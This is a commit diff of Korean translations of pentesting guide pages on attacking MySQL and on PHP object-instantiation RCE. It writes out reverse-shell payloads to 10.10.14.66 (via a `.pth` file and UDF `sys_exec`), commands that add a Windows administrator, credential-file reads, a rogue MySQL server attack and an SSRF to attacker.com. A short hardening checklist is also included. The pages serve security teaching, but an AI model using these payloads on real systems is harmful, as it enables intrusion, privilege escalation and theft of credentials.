Translated ['', 'src/pentesting-web/content-security-policy-csp-bypass/R

This commit is contained in:
Translator 2025-09-03 19:08:22 +00:00
parent 8f50660299
commit 7174a52a1e
6 changed files with 644 additions and 572 deletions

View File

@ -4,7 +4,7 @@
## **기본 정보**
**MySQL**은 비용이 들지 않는 오픈 소스 **관계형 데이터베이스 관리 시스템 (RDBMS)**로 설명될 수 있습니다. 이는 **구조적 쿼리 언어 (SQL)**에서 작동하여 데이터베이스의 관리 및 조작을 가능하게 합니다.
**MySQL**는 무료로 제공되는 오픈 소스 **관계형 데이터베이스 관리 시스템 (RDBMS)**입니다. 이는 **구조화 질의 언어 (SQL)**을 기반으로 작동하며 데이터베이스를 관리하고 조작할 수 있게 해줍니다.
**기본 포트:** 3306
```
@ -22,9 +22,9 @@ mysql -u root -p # A password will be asked (check someone)
mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost
```
## External Enumeration
## 외부 열거
일부 열거 작업 유효한 자격 증명이 필요합니다.
일부 열거 작업에는 유효한 자격 증명이 필요합니다.
```bash
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
@ -36,7 +36,7 @@ msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
```
### [**Brute force**](../generic-hacking/brute-force.md#mysql)
### 이진 데이터 쓰기
### 임의의 바이너리 데이터 쓰기
```bash
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
@ -101,9 +101,9 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
#@ Functions not from sys. db
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
```
문서에서 각 권한의 의미를 확인할 수 있습니다: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
You can see in the docs the meaning of each privilege: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
### MySQL 파일 RCE
### MySQL File RCE
{{#ref}}
@ -112,33 +112,33 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
#### INTO OUTFILE → Python `.pth` RCE (사이트별 구성 훅)
고전적인 `INTO OUTFILE` 프리미티브를 악용하여 나중**Python** 스크립트를 실행하는 대상에서 *임의 코드 실행*을 얻을 수 있습니다.
고전적인 `INTO OUTFILE` primitive를 악용하면 이후**Python** 스크립트를 실행하는 대상에서 임의 코드 실행을 얻을 수 있습니다.
1. `INTO OUTFILE`을 사용하여 `site.py`에 의해 자동으로 로드되는 모든 디렉토리(예: `.../lib/python3.10/site-packages/`)에 사용자 정의 **`.pth`** 파일을 드롭합니다.
2. `.pth` 파일은 `import `로 시작하는 *단일 행*을 포함할 수 있으며, 그 뒤에 임의의 Python 코드가 이어져 인터프리터가 시작될 때마다 실행됩니다.
3. 인터프리터가 CGI 스크립트에 의해 암묵적으로 실행될 때(예: `/cgi-bin/ml-draw.py`에서 shebang `#!/bin/python` 사용) 페이로드는 웹 서버 프로세스와 동일한 권한으로 실행됩니다 (FortiWeb이 **root**로 실행 → 전체 사전 인증 RCE).
1. `INTO OUTFILE`를 사용하여 `site.py`에 의해 자동으로 로드되는 디렉터리(예: `.../lib/python3.10/site-packages/`) 안에 커스텀 **`.pth`** 파일을 생성합니다.
2. `.pth` 파일은 `import `로 시작하는 *한 줄*을 포함할 수 있으며, 그 뒤에 임의의 Python 코드가 따라와 인터프리터가 시작될 때마다 실행됩니다.
3. 인터프리터가 CGI 스크립트에 의해 암묵적으로 실행될 때(예: shebang `#!/bin/python`이 있는 `/cgi-bin/ml-draw.py`) 페이로드는 웹 서버 프로세스와 동일한 권한으로 실행됩니다 (FortiWeb는 이를 **root**로 실행함 → full pre-auth RCE).
`.pth` 페이로드 (단일 행, 최종 SQL 페이로드에 공백을 포함할 수 없으므로 hex/`UNHEX()` 또는 문자열 연결이 필요할 수 있음):
`.pth` 페이로드 (한 줄, 최종 SQL 페이로드에는 공백을 포함할 수 없으므로 hex/`UNHEX()` 또는 문자열 연결이 필요할 수 있음):
```python
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
```
**UNION** 쿼리를 통해 파일을 제작하는 예 (공백 문자는 `/**/`로 대체되어 `sscanf("%128s")` 공백 필터를 우회하고 총 길이를 ≤128 바이트로 유지):
파일을 **UNION** 쿼리를 통해 생성하는 예시 (공백 문자를 `/**/`로 대체하여 `sscanf("%128s")`의 공백 필터를 우회하고 전체 길이를 ≤128 바이트로 유지함):
```sql
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
```
중요한 제한 사항 및 우회 방법:
Important limitations & bypasses:
* `INTO OUTFILE` **기존 파일을 덮어쓸 수 없습니다**; 새 파일 이름을 선택하세요.
* 파일 경로는 **MySQL의 CWD에 상대적으로** 해결되므로 `../../`로 접두사를 붙이면 경로를 단축하고 절대 경로 제한을 우회할 수 있습니다.
* 공격자 입력이 `%128s` (또는 유사한)로 추출되면 공백이 페이로드를 잘라냅니다; MySQL 주석 시퀀스 `/**/` 또는 `/*!*/`를 사용하여 공백을 대체하세요.
* 쿼리를 실행하는 MySQL 사용자는 `FILE` 권한이 필요하지만, 많은 장치(예: FortiWeb)에서 서비스가 **root**로 실행되어 거의 모든 곳에 쓰기 접근을 제공합니다.
* `INTO OUTFILE` **cannot overwrite** existing files; choose a new filename.
* The file path is resolved **relative to MySQLs CWD**, so prefixing with `../../` helps to shorten the path and bypass absolute-path restrictions.
* If the attacker input is extracted with `%128s` (or similar) any space will truncate the payload; use MySQL comment sequences `/**/` or `/*!*/` to replace spaces.
* The MySQL user running the query needs the `FILE` privilege, but in many appliances (e.g. FortiWeb) the service runs as **root**, giving write access almost everywhere.
`.pth`를 삭제한 후, 코드 실행을 얻기 위해 파이썬 인터프리터가 처리하는 CGI를 요청하세요:
After dropping the `.pth`, simply request any CGI handled by the python interpreter to get code execution:
```
GET /cgi-bin/ml-draw.py HTTP/1.1
Host: <target>
```
Python 프로세스는 악성 `.pth` 파일을 자동으로 가져와서 쉘 페이로드를 실행합니다.
Python 프로세스는 악성 `.pth`를 자동으로 import하고 shell payload를 실행합니다.
```
# Attacker
$ nc -lvnp 4444
@ -147,23 +147,24 @@ uid=0(root) gid=0(root) groups=0(root)
```
---
## MySQL 임의 파일 읽기 클라이언트에 의한
실제로, **테이블에 로컬 데이터를 로드하려고 할 때** MySQL 또는 MariaDB 서버는 **클라이언트에게 파일을 읽고** 내용을 전송하도록 요청합니다. **그런 다음, 자신의 MySQL 서버에 연결하도록 MySQL 클라이언트를 조작할 수 있다면, 임의의 파일을 읽을 수 있습니다.**\
이것은 다음을 사용할 때의 동작입니다:
## MySQL arbitrary read file by client
실제로, **load data local into a table**를 시도하면 MySQL 또는 MariaDB 서버는 파일의 **content of a file**을 읽어 전송하도록 **client to read it**라고 클라이언트에 요청합니다. **Then, if you can tamper a mysql client to connect to your own MySQL server, you can read arbitrary files.**\
다음과 같은 환경에서 이러한 동작이 발생함을 주의하세요:
```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
```
(Notice the "local" word)\
"local" 없이 다음과 같은 결과를 얻을 수 있습니다:
("local" 단어에 주목하세요)\
왜냐하면 "local"이 없으면 다음을 얻을 수 있습니다:
```bash
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
```
**초기 PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**이 문에서는 공격에 대한 완전한 설명과 RCE로 확장하는 방법 볼 수 있습니다:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**여기에서 공격 개요를 찾을 수 있습니다:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
**이 문에서는 공격에 대한 완전한 설명과 RCE로 확장하는 방법까지 볼 수 있습니다:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**여기에서 공격 개요를 확인할 수 있습니다:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
@ -173,23 +174,23 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti
### Mysql 사용자
mysql이 **root**로 실행되고 있다면 매우 흥미로울 것입니다:
mysql이 **root**로 실행되고 있다면 매우 흥미롭습니다:
```bash
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
```
#### mysqld.cnf의 위험한 설정
MySQL 서비스의 구성에서 다양한 설정이 사용되어 운영 및 보안 조치를 정의합니다:
MySQL 서비스의 구성에서는 동작 및 보안 조치를 정의하기 위해 여러 설정이 사용됩니다:
- **`user`** 설정은 MySQL 서비스가 실행될 사용자 지정에 사용됩니다.
- **`password`**는 MySQL 사용자와 관련된 비밀번호를 설정하는 데 사용됩니다.
- **`admin_address`**는 관리 네트워크 인터페이스에서 TCP/IP 연결을 수신하는 IP 주소를 지정합니다.
- **`debug`** 변수는 로그 내의 민감한 정보를 포함하여 현재 디버깅 구성을 나타냅니다.
- **`sql_warnings`**는 경고가 발생할 때 단일 행 INSERT 문에 대한 정보 문자열이 생성되는지 관리하며, 로그 내에 민감한 데이터를 포함합니다.
- **`secure_file_priv`**는 데이터 가져오기 및 내보내기 작업의 범위를 제한하여 보안을 강화합니다.
- The **`user`** 설정은 MySQL 서비스가 실행될 때 사용할 사용자를 지정하는 데 사용됩니다.
- **`password`**는 MySQL 사용자에 연관된 암호를 설정하는 데 사용됩니다.
- **`admin_address`**는 관리 네트워크 인터페이스에서 TCP/IP 연결을 수신하는 IP 주소를 지정합니다.
- The **`debug`** 변수는 현재 디버깅 설정을 나타내며, 로그에 민감한 정보가 포함될 수 있습니다.
- **`sql_warnings`**는 경고가 발생할 때 단일 행 INSERT 문에 대해 정보 문자열을 생성할지 여부를 제어하며, 이로 인해 로그에 민감한 데이터가 포함될 수 있습니다.
- With **`secure_file_priv`**, 데이터 가져오기/내보내기 작업의 범위를 제한하여 보안을 강화합니다.
### 권한 상승
### Privilege escalation
```bash
# Get current user (an all users) privileges and hashes
use mysql;
@ -209,16 +210,16 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
```
### Privilege Escalation via library
만약 **mysql 서버가 root** (또는 더 높은 권한을 가진 다른 사용자)로 실행되고 있다면, 명령을 실행하도록 만들 수 있습니다. 이를 위해서는 **사용자 정의 함수**를 사용해야 합니다. 사용자 정의 함수를 만들기 위해서는 mysql이 실행되고 있는 OS에 대한 **라이브러리**가 필요합니다.
만약 **mysql server is running as root**(또는 더 권한이 높은 다른 사용자로 실행 중이라면) 해당 서버가 명령을 실행하도록 만들 수 있습니다. 이를 위해 **user defined functions**를 사용해야 합니다. 그리고 user defined 함수를 생성하려면 mysql이 실행되는 OS용 **library**가 필요합니다.
사용할 악성 라이브러리는 sqlmap과 metasploit 내에서 **`locate "*lib_mysqludf_sys*"`** 명령어를 통해 찾을 수 있습니다. **`.so`** 파일은 **linux** 라이브러리이고, **`.dll`** 파일은 **Windows** 라이브러리입니다. 필요한 것을 선택하세요.
사용할 악성 라이브러리는 sqlmap과 metasploit 안에서 **`locate "*lib_mysqludf_sys*"`** 명령으로 찾을 수 있습니다. **`.so`** 파일은 **linux** 라이브러리이고 **`.dll`** 파일은 **Windows** 라이브러리이니 필요한 것을 선택하세요.
만약 **그 라이브러리들이 없다면**, **찾아보거나**, 이 [**linux C 코드**](https://www.exploit-db.com/exploits/1518)를 다운로드하여 **linux 취약한 머신 내에서 컴파일**할 수 있습니다:
만약 해당 라이브러리가 **없다면**, **직접 찾아보거나**, 이 [**linux C code**](https://www.exploit-db.com/exploits/1518)를 다운로드하여 **linux 취약 머신 내에서 컴파일**하세요:
```bash
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
```
이제 라이브러리가 있으므로, 특권 사용자(루트?)로 Mysql에 로그인하고 다음 단계를 따르세요:
라이브러리를 확보했으면, 권한 있는 사용자 (root?)로 Mysql에 로그인한 후 다음 단계를 따르세요:
#### Linux
```sql
@ -240,7 +241,7 @@ create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
```
#### 윈도우
#### Windows
```sql
# CHech the linux comments for more indications
USE mysql;
@ -252,29 +253,38 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");
```
### MySQL 자격 증명 파일에서 추출하기
#### Windows 팁: SQL에서 NTFS ADS로 디렉터리 생성
_/etc/mysql/debian.cnf_ 안에는 사용자 **debian-sys-maint**의 **일반 텍스트 비밀번호**가 있습니다.
NTFS에서는 file write primitive만 있어도 대체 데이터 스트림(ADS)을 사용해 디렉터리 생성을 강제할 수 있습니다. 클래식 UDF chain이 `plugin` 디렉터리를 기대하지만 존재하지 않거나 `@@plugin_dir`가 알려져 있지 않거나 잠겨 있는 경우, 먼저 `::$INDEX_ALLOCATION`로 생성할 수 있습니다:
```sql
SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory
```
이것은 UDF drops에 필요한 폴더 구조를 부트스트랩함으로써 제한된 `SELECT ... INTO OUTFILE`를 Windows 스택에서 보다 완전한 프리미티브로 확장합니다.
### 파일에서 MySQL 자격 증명 추출
_/etc/mysql/debian.cnf_ 파일 안에서 사용자 **debian-sys-maint**의 **평문 비밀번호**를 찾을 수 있습니다.
```bash
cat /etc/mysql/debian.cnf
```
당신은 **이 자격 증명을 사용하여 MySQL 데이터베이스에 로그인할 수 있습니다**.
이 자격증명을 **사용해 mysql 데이터베이스에 로그인할 수 있습니다.**
파일 _/var/lib/mysql/mysql/user.MYD_ 안에는 **MySQL 사용자들의 모든 해시**가 있습니다 (데이터베이스 내의 mysql.user에서 추출할 수 있는 것들입니다) _.
파일 안: _/var/lib/mysql/mysql/user.MYD_에서 **MySQL 사용자들의 모든 hashes** (데이터베이스 내부의 mysql.user에서 추출할 수 있는 것들)_._
다음과 같이 추출할 수 있습니다:
```bash
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
```
### 로 활성화
### 로 활성화
mysql 쿼리의 로깅을 `/etc/mysql/my.cnf`에서 다음 줄의 주석을 제거하여 활성화할 수 있습니다:
다음 줄의 주석을 제거하면 `/etc/mysql/my.cnf`에서 mysql 쿼리 로깅을 활성화할 수 있습니다:
![](<../images/image (899).png>)
### 유용한 파일
구성 파일
설정 파일
- windows \*
- config.ini
@ -616,7 +626,7 @@ x$waits_global_by_latency
{{#endtab}}
{{#endtabs}}
## HackTricks 자동 명령
## HackTricks 자동 명령
```
Protocol_Name: MySql #Protocol Abbreviation if there is one.
Port_Number: 3306 #Comma separated if there is more than one.
@ -647,36 +657,36 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
```
## 2023-2025 하이라이트 (신규)
## 2023-2025 Highlights (new)
### JDBC `propertiesTransform` 역직렬화 (CVE-2023-21971)
Connector/J <= 8.0.32에서 공격자는 **JDBC URL**에 영향을 줄 수 있는 경우(예: 연결 문자열을 요청하는 서드파티 소프트웨어에서) `propertiesTransform` 매개변수를 통해 *클라이언트* 측에서 임의의 클래스를 로드하도록 요청할 수 있습니다. 클래스 경로에 있는 가젯이 로드 가능하면 이는 **JDBC 클라이언트의 컨텍스트에서 원격 코드 실행**을 초래합니다(유효한 자격 증명이 필요하지 않기 때문에 사전 인증). 최소한의 PoC는 다음과 같습니다:
### JDBC `propertiesTransform` deserialization (CVE-2023-21971)
Connector/J <= 8.0.32부터, **JDBC URL**에 영향을 줄 수 있는 attacker(예: connection string을 묻는 서드파티 소프트웨어)는 `propertiesTransform` 파라미터를 통해 *클라이언트* 측에서 임의의 클래스를 로드하도록 요청할 수 있습니다. 클래스패스에 존재하는 gadget이 로드 가능하면 이는 **remote code execution in the context of the JDBC client**을 초래합니다 (pre-auth, because no valid credentials are required). A minimal PoC looks like:
```java
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
```
`Evil.class`를 실행하는 것은 취약한 애플리케이션의 클래스 경로에 생성하거나 악의적인 직렬화 객체를 전송하는 악성 MySQL 서버를 허용하는 것만큼 쉽습니다. 이 문제는 Connector/J 8.0.33에서 수정되었습니다 드라이버를 업그레이드하거나 `propertiesTransform`을 허용 목록에 명시적으로 설정하십시오.
(자세한 내용은 Snyk 작성물을 참조하십시오)
Running `Evil.class` can be as easy as producing it on the class-path of the vulnerable application or letting a rogue MySQL server send a malicious serialized object. The issue was fixed in Connector/J 8.0.33 upgrade the driver or explicitly set `propertiesTransform` on an allow-list.
(See Snyk write-up for details)
### JDBC 클라이언트를 대상으로 한 악성 / 가짜 MySQL 서버 공격
여러 오픈 소스 도구가 JDBC 클라이언트를 공격하기 위해 *부분적인* MySQL 프로토콜을 구현합니다:
### Rogue / Fake MySQL 서버를 이용한 JDBC 클라이언트 공격
여러 오픈소스 도구들이 외부로 연결하는 JDBC 클라이언트를 공격하기 위해 MySQL 프로토콜의 *일부*를 구현합니다:
* **mysql-fake-server** (Java, 파일 읽기 및 역직렬화 취약점 지원)
* **rogue_mysql_server** (Python, 유사 기능)
* **mysql-fake-server** (Java, 파일 읽기 및 deserialization 익스플로잇을 지원)
* **rogue_mysql_server** (Python, 유사 기능)
전형적인 공격 경로:
1. 피해 애플리케이션이 `allowLoadLocalInfile=true` 또는 `autoDeserialize=true``mysql-connector-j`를 로드합니다.
2. 공격자가 DNS / 호스트 항목을 제어하여 DB의 호스트 이름이 그들의 제어 하에 있는 머신으로 해결되도록 합니다.
3. 악성 서버`LOCAL INFILE` 임의 파일 읽기 또는 Java 역직렬화를 유발하는 조작된 패킷으로 응답하여 → RCE를 발생시킵니다.
1. 피해 애플리케이션이 `mysql-connector-j` `allowLoadLocalInfile=true` 또는 `autoDeserialize=true` 설정으로 로드한다.
2. 공격자가 DNS / 호스트 엔트리를 조작하여 DB 호스트명이 공격자가 제어하는 머신으로 해석되게 한다.
3. 악성 서버는 조작된 패킷으로 응답하여 `LOCAL INFILE`을 통한 임의 파일 읽기 또는 Java deserialization을 유발 → RCE를 발생시킨다.
가짜 서버를 시작하는 예제 원라이너 (Java):
Example one-liner to start a fake server (Java):
```bash
java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server
```
그런 다음 피해자 애플리케이션을 `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true`로 지정하고 *username* 필드에 파일 이름을 base64로 인코딩하여 `/etc/passwd`를 읽습니다 (`fileread_/etc/passwd``base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
그런 다음 피해자 애플리케이션을 `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true`로 지정하고, 파일 이름을 base64로 인코딩하여 *사용자 이름* 필드에 넣어 `/etc/passwd`를 읽습니다 (`fileread_/etc/passwd``base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
### `caching_sha2_password` 해시 크래킹
MySQL ≥ 8.0은 비밀번호 해시를 **`$mysql-sha2$`** (SHA-256)로 저장합니다. Hashcat (모드 **21100**)과 John-the-Ripper (`--format=mysql-sha2`)는 2023년부터 오프라인 크래킹을 지원합니다. `authentication_string` 열을 덤프하고 직접 입력합니다:
MySQL ≥ 8.0은 비밀번호 해시를 **`$mysql-sha2$`** (SHA-256) 형식으로 저장합니다. Hashcat (mode **21100**)와 John-the-Ripper (`--format=mysql-sha2`)는 2023년부터 offline cracking을 지원합니다. `authentication_string` 컬럼을 덤프해서 그대로 입력하세요:
```bash
# extract hashes
echo "$mysql-sha2$AABBCC…" > hashes.txt
@ -685,20 +695,23 @@ hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
# John the Ripper
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
```
### 하드닝 체크리스트 (2025)
**`LOCAL_INFILE=0`** 및 **`--secure-file-priv=/var/empty`**를 설정하여 대부분의 파일 읽기/쓰기 원시 작업을 차단합니다.
• 애플리케이션 계정에서 **`FILE`** 권한을 제거합니다.
• Connector/J에서 `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (빈 값)으로 설정합니다.
• 사용하지 않는 인증 플러그인을 비활성화하고 **TLS 요구** (`require_secure_transport = ON`)합니다.
`CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` 및 갑작스러운 `SET GLOBAL` 문을 모니터링합니다.
### 강화 체크리스트 (2025)
대부분의 파일 읽기/쓰기 기본 동작을 차단하려면 **`LOCAL_INFILE=0`** 및 **`--secure-file-priv=/var/empty`**를 설정하세요.
• 애플리케이션 계정에서 **`FILE`** 권한을 제거하세요.
• Connector/J에서 `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (빈값)로 설정하세요.
• 사용하지 않는 인증 플러그인을 비활성화하고 **TLS를 필수화**하세요 (`require_secure_transport = ON`).
`CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` 및 갑작스러운 `SET GLOBAL` 명령문을 모니터링하세요.
---
## 참조
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
- [Oracle MySQL Connector/J propertiesTransform RCE CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
- [mysql-fake-server Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
## 참고
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
- [Oracle MySQL Connector/J propertiesTransform RCE CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
- [mysql-fake-server Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,18 +1,18 @@
# PHP - RCE 객체 생성을 악용하기: new $\_GET\["a"]\($\_GET\["b"])
# PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])
{{#include ../../../banners/hacktricks-training.md}}
것은 기본적으로 [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)의 요약입니다.
기본적으로 [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)의 요약입니다.
## 소개
`new $_GET["a"]($_GET["a"])`와 같은 새로운 임의 객체의 생성은 원격 코드 실행(RCE)으로 이어질 수 있으며, 이는 [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)에 자세히 설명되어 있습니다. 이 문서는 RCE를 달성하기 위한 다양한 전략을 강조합니다.
예를 들어 `new $_GET["a"]($_GET["a"])` 와 같은 임의의 객체 생성은 Remote Code Execution (RCE)로 이어질 수 있으며, 자세한 내용은 [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)에 설명되어 있습니다. 이 문서는 RCE를 달성하기 위한 다양한 전략을 강조합니다.
## 사용자 정의 클래스 또는 자동 로딩을 통한 RCE
## RCE via Custom Classes or Autoloading
`new $a($b)`는 객체를 인스턴스화하는 데 사용되며, 여기서 **`$a`**는 클래스 이름을 나타내고 **`$b`**는 생성자에 전달되는 첫 번째 인수입니다. 이러한 변수 GET/POST와 같은 사용자 입력에서 가져올 수 있으며, 문자열이나 배열일 수 있거나 JSON에서 다른 유형으로 나타날 수 있습니다.
`new $a($b)` 는 객체를 인스턴스화하는 데 사용되며, **`$a`** 는 클래스 이름을 나타내고 **`$b`** 는 생성자에 전달되는 첫 번째 인수입니다. 이러한 변수들은 GET/POST와 같은 사용자 입력에서 가져올 수 있으며, 문자열이나 배열일 수 있고, JSON에서는 다른 타입으로 나타날 수 있습니다.
아래의 코드 스니펫을 고려하십시오:
아래 코드 스니펫을 살펴보자:
```php
class App {
function __construct ($cmd) {
@ -31,9 +31,9 @@ $b = $_GET['b'];
new $a($b);
```
이 경우, `$a``App` 또는 `App2`로 설정하고 `$b`를 시스템 명령(예: `uname -a`)으로 설정하면 해당 명령이 실행됩니다.
이 경우 `$a``App` 또는 `App2`로 설정하고 `$b`를 시스템 명령(예: `uname -a`)으로 설정하면 해당 명령이 실행됩니다.
**자동 로딩 함수**는 그러한 클래스에 직접 접근할 수 없는 경우 악용될 수 있습니다. 이러한 함수는 필요할 때 파일에서 클래스를 자동으로 로드하며, `spl_autoload_register` 또는 `__autoload`를 사용하여 정의됩니다:
**Autoloading functions**는 그러한 클래스들에 직접 접근할 수 없을 때 악용될 수 있습니다. 이 함수들은 필요할 때 파일에서 클래스를 자동으로 로드하며 `spl_autoload_register` 또는 `__autoload`를 사용하여 정의됩니다:
```php
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
@ -45,52 +45,76 @@ include $class_name . '.php';
spl_autoload_register();
```
자동 로딩의 동작은 PHP 버전에 따라 다르며, 다양한 RCE 가능성을 제공합니다.
오토로딩의 동작은 PHP 버전별로 달라 RCE 가능성이 달라진다.
## 내장 클래스에 의한 RCE
## RCE via 내장 클래스
사용자 정의 클래스나 자동 로더가 없는 경우, **내장 PHP 클래스**가 RCE에 충분할 수 있습니다. 이러한 클래스의 수는 PHP 버전과 확장에 따라 100에서 200 사이입니다. `get_declared_classes()`를 사용하여 나열할 수 있습니다.
커스텀 클래스나 오토로더가 없을 경우, **내장 PHP 클래스**만으로도 RCE에 충분할 수 있다. 이 클래스들의 수는 PHP 버전과 확장에 따라 대략 100에서 200개 사이이다. `get_declared_classes()`로 목록을 확인할 수 있다.
관심 있는 생성자는 반사 API를 통해 식별할 수 있으며, 다음 예제와 링크 [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF)에서 확인할 수 있습니다.
관심 있는 생성자는 리플렉션 API로 식별할 수 있으며, 다음 예제와 링크 [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF)에서 확인할 수 있다.
**특정 메서드를 통한 RCE에는 다음이 포함됩니다:**
**RCE via 특정 메서드에는 다음이 포함된다:**
### **SSRF + Phar 역직렬화**
### **SSRF + Phar Deserialization**
`SplFileObject` 클래스는 생성자를 통해 SSRF를 가능하게 하여, 모든 URL에 연결할 수 있습니다:
`SplFileObject` 클래스는 생성자를 통해 SSRF를 유발할 수 있으며, 임의의 URL로의 연결을 허용한다:
```php
new SplFileObject('http://attacker.com/');
```
SSRF는 Phar 프로토콜을 사용하는 PHP 8.0 이전 버전에서 역직렬화 공격으로 이어질 수 있습니다.
SSRF는 Phar 프로토콜을 사용하여 PHP 8.0 이전 버전에서 deserialization 공격으로 이어질 수 있습니다.
### **PDO 악용하기**
### **PDOs 악용**
PDO 클래스 생성자는 DSN 문자열을 통해 데이터베이스에 연결할 수 있게 하여, 파일 생성 또는 기타 상호작용을 가능하게 합니다:
PDO 클래스 생성자는 DSN 문자열을 통해 데이터베이스에 연결할 수 있게 해주며, 잠재적으로 파일 생성이나 기타 상호작용을 가능하게 합니다:
```php
new PDO("sqlite:/tmp/test.txt")
```
### **SoapClient/SimpleXMLElement XXE**
